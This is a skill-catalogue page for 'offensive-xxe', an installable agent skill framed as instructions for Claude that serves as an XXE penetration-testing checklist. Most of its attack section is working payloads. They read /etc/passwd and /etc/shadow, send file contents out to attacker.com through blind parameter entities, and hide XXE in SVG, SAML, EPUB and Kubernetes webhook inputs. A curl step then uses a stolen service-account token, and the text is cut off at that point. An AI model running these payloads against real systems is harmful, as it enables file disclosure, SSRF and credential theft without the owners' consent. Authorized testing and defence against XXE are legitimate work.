SkillAgentSearch skills...

offensive-xxe

XML External Entity injection testing checklist: classic XXE, blind XXE (out-of-band), XXE via file upload (SVG/docx), XXE in SOAP/REST, error-based XXE, XInclude attacks, and XXE filter bypass. Use for web app XXE testing and bug bounty.

Install / Use

npx skills add SnailSploit/Claude-Red --skill offensive-xxe

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

96/100

Supported Platforms

Universal

Our assessment of offensive-xxe

offensive-xxe scores 96/100 on our quality scale, 156th of 2,185 Development & Engineering skills we index (top 8%).

Its SKILL.md is 28 KB long, well organised into 71 sections with 45 code examples: a thorough specification that gives an agent plenty to work with.

With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 6 days ago, so offensive-xxe is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.

Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

offensive-xxe compared with similar skills

All 4 of these similar skills score higher than offensive-xxe; compare them before choosing.

SkillScoreStarsUpdatedFormat
offensive-xxe (this skill)by SnailSploit966.8k6d agoSKILL.md
Agent-Reachby Panniantong10085.5k11d agoCLAUDE.md
ai-job-searchby MadsLorentzen10044.0k5d agoCLAUDE.md
claude-howtoby luongnv8910041.7ktodayCLAUDE.md
algorithmic-artby anthropics100177.9k4d agoSKILL.md

Frequently asked questions

How do I install offensive-xxe?
Run npx skills add SnailSploit/Claude-Red --skill offensive-xxe. The install tabs above show the steps for each supported agent.
Which AI agents does offensive-xxe work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is offensive-xxe safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is offensive-xxe still maintained?
The repository was last updated 6 days ago, so offensive-xxe is actively maintained.

SKILL: XML External Entity (XXE) Injection

Metadata

  • Skill Name: xxe
  • Folder: offensive-xxe
  • Source: https://github.com/SnailSploit/offensive-checklist/blob/main/xxe.md

Description

XML External Entity injection testing checklist: classic XXE, blind XXE (out-of-band), XXE via file upload (SVG/docx), XXE in SOAP/REST, error-based XXE, XInclude attacks, and XXE filter bypass. Use for web app XXE testing and bug bounty.

Trigger Phrases

Use this skill when the conversation involves any of: XXE, XML external entity, blind XXE, out-of-band XXE, XXE file upload, SVG XXE, SOAP XXE, XInclude, entity bypass, XXE SSRF, XXE file read

Instructions for Claude

When this skill is active:

  1. Load and apply the full methodology below as your operational checklist
  2. Follow steps in order unless the user specifies otherwise
  3. For each technique, consider applicability to the current target/context
  4. Track which checklist items have been completed
  5. Suggest next steps based on findings

Full Methodology

XML External Entity (XXE) Injection

Shortcut

  • Find data entry points that you can use to submit XML data.
  • Determine whether the entry point is a candidate for a classic or blind XXE. The endpoint might be vulnerable to classic XXE if it returns the parsed XML data in the HTTP response. If the endpoint does not return results, it might still be vulnerable to blind XXE, and you should set up a callback listener for your tests.
  • Try out a few test payloads to see if the parser is improperly configured. In the case of classic XXE, you can check whether the parser is processing external entities. In the case of blind XXE, you can make the server send requests to your callback listener to see if you can trigger outbound interaction.
  • Try to exfiltrate a common system file, like /etc/hostname.
  • You can also try to retrieve some more sensitive system files, like /etc/shadow or ~/.bash_history.
  • If you cannot exfiltrate the entire file with a simple XXE payload, try to use an alternative data exfiltration method.
  • See if you can launch an SSRF attack using the XXE.

Mechanisms

XML External Entity (XXE) is a vulnerability that occurs when XML parsers process external entity references within XML documents. XXE attacks target applications that parse XML input and can lead to:

  • Disclosure of confidential files and data
  • Server-side request forgery (SSRF)
  • Denial of service attacks
  • Remote code execution in some cases
flowchart TD
    A[XXE Vulnerability] --> B[File Disclosure]
    A --> C[SSRF]
    A --> D[Denial of Service]
    A --> E[Remote Code Execution]

    B -->|"Access to"| B1[System Files]
    B -->|"Access to"| B2[Application Configs]
    B -->|"Access to"| B3[Database Credentials]

    C -->|"Access to"| C1[Internal Services]
    C -->|"Access to"| C2[Cloud Metadata]
    C -->|"Access to"| C3[External Resources]

    D -->|"Via"| D1[Billion Laughs]
    D -->|"Via"| D2[Quadratic Blowup]
    D -->|"Via"| D3[External Resource DoS]

    E -->|"Via"| E1[PHP Expect]
    E -->|"Via"| E2[Java Deserialization]

XXE vulnerabilities arise from XML's Document Type Definition (DTD) feature, which allows defining entities that can reference external resources. When a vulnerable XML parser processes these entities, it retrieves and includes the external resources, potentially exposing sensitive information.

In practice, full remote code execution rarely stems from XXE alone; it typically requires language-specific gadgets—such as PHP's expect:// wrapper or Java deserialization sinks—which XXE merely helps reach.

sequenceDiagram
    actor A as Attacker
    participant C as Client
    participant S as Server
    participant X as XML Parser
    participant FS as File System

    A->>C: Craft malicious XML with XXE payload
    C->>S: Submit XML document
    S->>X: Pass XML for parsing
    X->>FS: Resolve external entity reference
    FS->>X: Return sensitive file content
    X->>S: Include file content in parsed result
    S->>C: Return response with sensitive data
    C->>A: Attacker views sensitive data

Types of XXE attacks include:

  • Classic XXE: Direct extraction of data visible in responses
  • Blind XXE: No direct output, but data can be exfiltrated through out-of-band techniques
  • Error-based XXE: Leveraging error messages to extract data
  • XInclude-based XXE: Using XInclude when direct DTD access is restricted
flowchart LR
    A[XXE Attack Types] --> B[Classic XXE]
    A --> C[Blind XXE]
    A --> D[Error-based XXE]
    A --> E[XInclude-based XXE]

    B -->|"Direct Output"| B1[Response contains file content]
    C -->|"Out-of-Band"| C1[Data exfiltration via callbacks]
    D -->|"Error Messages"| D1[Data in error output]
    E -->|"XInclude"| E1[Alternative to DTD]

Hunt

Finding XXE Vulnerabilities

Additional Discovery Methods

  • Convert content type from "application/json"/"application/x-www-form-urlencoded" to "application/xml"
  • Check file uploads that allow docx/xlsx/pdf/zip - unzip the package and add XML code into the XML files
  • Test SVG file uploads for XML injection
  • Check RSS feeds functionality for XML injection
  • Fuzz for /soap API endpoints
  • Test SSO integration points for XML injection in SAML requests/responses

Identify XML Injection Points

flowchart TD
    A[XML Injection Points] --> B[API Endpoints]
    A --> C[File Uploads]
    A --> D[Format Conversion]
    A --> E[Legacy Interfaces]
    A --> F[Hidden XML Parsers]
    A --> G[Content-Type Conversion]

    B --> B1[REST APIs]
    B --> B2[GraphQL]

    C --> C1[XML Files]
    C --> C2[DOCX/XLSX]
    C --> C3[SVG Images]
    C --> C4[PDF Files]

    D --> D1[JSON to XML]
    D --> D2[CSV to XML]

    E --> E1[SOAP]
    E --> E2[XML-RPC]
    E --> E3[SAML]

    F --> F1[Hidden Parameters]
    F --> F2[Legacy Code]

    G --> G1[JSON endpoints accepting XML]
  • API Endpoints: Look for endpoints accepting XML data
  • File Uploads: Features accepting XML-based files (DOCX, SVG, XML, etc.)
  • Format Conversion: Services converting to/from XML formats
  • Legacy Interfaces: SOAP web services, XML-RPC
  • Hidden XML Parsers: Look for parameters that might be processed as XML behind the scenes
  • Content Type Conversion: Endpoints that accept JSON but may process XML with proper Content-Type

Test Basic XXE Patterns

For each potential injection point, test with simple payloads:

  • Classic XXE (file retrieval):

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE test [
      <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <root>&xxe;</root>
    

    or

    <!DOCTYPE ase [ <!ENTITY %test SYSTEM "http://sib.com/sib"> %test; ]>
    <example>&test;</example>
    
  • Blind XXE (out-of-band detection):

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE test [
      <!ENTITY % xxe SYSTEM "http://attacker-server.com/malicious.dtd">
      %xxe;
    ]>
    <root>test</root>
    
  • XInclude attack (when unable to define a DTD):

    <root xmlns:xi="http://www.w3.org/2001/XInclude">
      <xi:include parse="text" href="file:///etc/passwd"/>
    </root>
    

Billion Laughs Attack Steps

  1. Capture the request in your proxy tool
  2. Send it to repeater and convert body to XML format
  3. Check the Accept header and modify to Application/xml if needed
  4. Convert JSON to XML if no direct XML input is possible
  5. Insert the billion laughs payload between XML tags
  6. Adjust entity references (lol1 to lol9) to control DoS intensity

Check Alternative XML Formats

  • SVG files:

    <?xml version="1.0" standalone="yes"?>
    <!DOCTYPE test [
      <!ENTITY xxe SYSTEM "file:///etc/hostname" >
    ]>
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
      <text font-size="16" x="0" y="16">&xxe;</text>
    </svg>
    

    or

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE example [
      <!ENTITY test SYSTEM "file:///etc/shadow">
    ]>
    <svg width="500" height="500">
      <circle cx="50" cy="50" r="40" fill="blue" />
      <text font-size="16" x="0" y="16">&test;</text>
    </svg>
    
  • DOCX/XLSX files: Modify internal XML files (e.g., word/document.xml)

  • SOAP messages: Test XXE in SOAP envelope

SAML 2.0 XXE Testing

SAML assertions are prime XXE targets. Test both requests and responses:

AuthnRequest XXE:

<samlp:AuthnRequest
  xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
  xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
  ID="_xxe" Version="2.0" IssueInstant="2025-01-01T00:00:00Z">
  <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
  <saml:Issuer>&xxe;</saml:Issuer>
</samlp:AuthnRequest>

Response Assertion XXE:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
  <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/exfil">]>
  <saml:Assertion>
    <saml:AttributeValue>&xxe;</saml:AttributeValue>
  </saml:Assertion>
</samlp:Response>

Encrypted Assertion XXE (Response Wrapping):

<!-- Inject XXE before encryption, Service Provider decrypts and processes -->
<saml:EncryptedAssertion>
  <!DOCTYPE root [<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;]>
  <EncryptedData>...</EncryptedData>
</saml:EncryptedAssertion>

E-book Format Exploitation (EPUB)

EPUB files are ZIP archives containing XML. Target library management systems and e-reader apps:

<!-- content.opf inside EPUB -->
<?xml version="1.0"?>
<!DOCTYPE package [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<package xmlns="http://www.idpf.org/2007/opf" version="3.0">
  <metadata>
    <dc:title>&xxe;</dc:title>
  </metadata>
</package>

Attack workflow:

  1. Create legitimate EPUB file
  2. Extract contents (it's a ZIP)
  3. Inject XXE into META-INF/container.xml or content.opf
  4. Re-zip and upload to target (library systems, e-commerce platforms)

Apple Universal Links XXE

iOS deep linking configuration files:

<!-- apple-app-site-association generated from XML -->
<?xml version="1.0"?>
<!DOCTYPE config [
  <!ENTITY xxe SYSTEM "file:///var/mobile/Containers/Data/Application/config.plist">
]>
<config>
  <applinks>&xxe;</applinks>
</config>

Advanced XXE Hunting

Parameter Entity Testing

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
  %eval;
  %exfil;
]>
<data>test</data>

Error-Based XXE

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<data>test</data>

XXE via Content-Type Manipulation

Try changing Content-Type header from:

Content-Type: application/json

to:

Content-Type: application/xml

or:

Content-Type: text/xml

Chaining and Escalation

Cloud-Native & Kubernetes XXE

Kubernetes Admission Webhook XXE

ValidatingWebhookConfiguration and MutatingWebhookConfiguration receive XML-formatted requests:

# Vulnerable admission webhook
apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
  annotations:
    # Webhook receives and parses this XML
    config: |
      <?xml version="1.0"?>
      <!DOCTYPE root [
        <!ENTITY xxe SYSTEM "file:///var/run/secrets/kubernetes.io/serviceaccount/token">
      ]>
      <config>&xxe;</config>

Exploitation flow:

# 1. Create pod with XXE payload in annotation
kubectl apply -f evil-pod.yaml

# 2. Admission webhook receives XML, processes with vulnerable parser
# 3. Service account token exfiltrated

# 4. Use token for privilege escalation
curl -k https://kubernetes.default.svc/api/v1/namespaces/default/pods \
  -H "Authorization: Beare

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars6.8k
CategoryDevelopment
Updated6d ago
Forks896

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions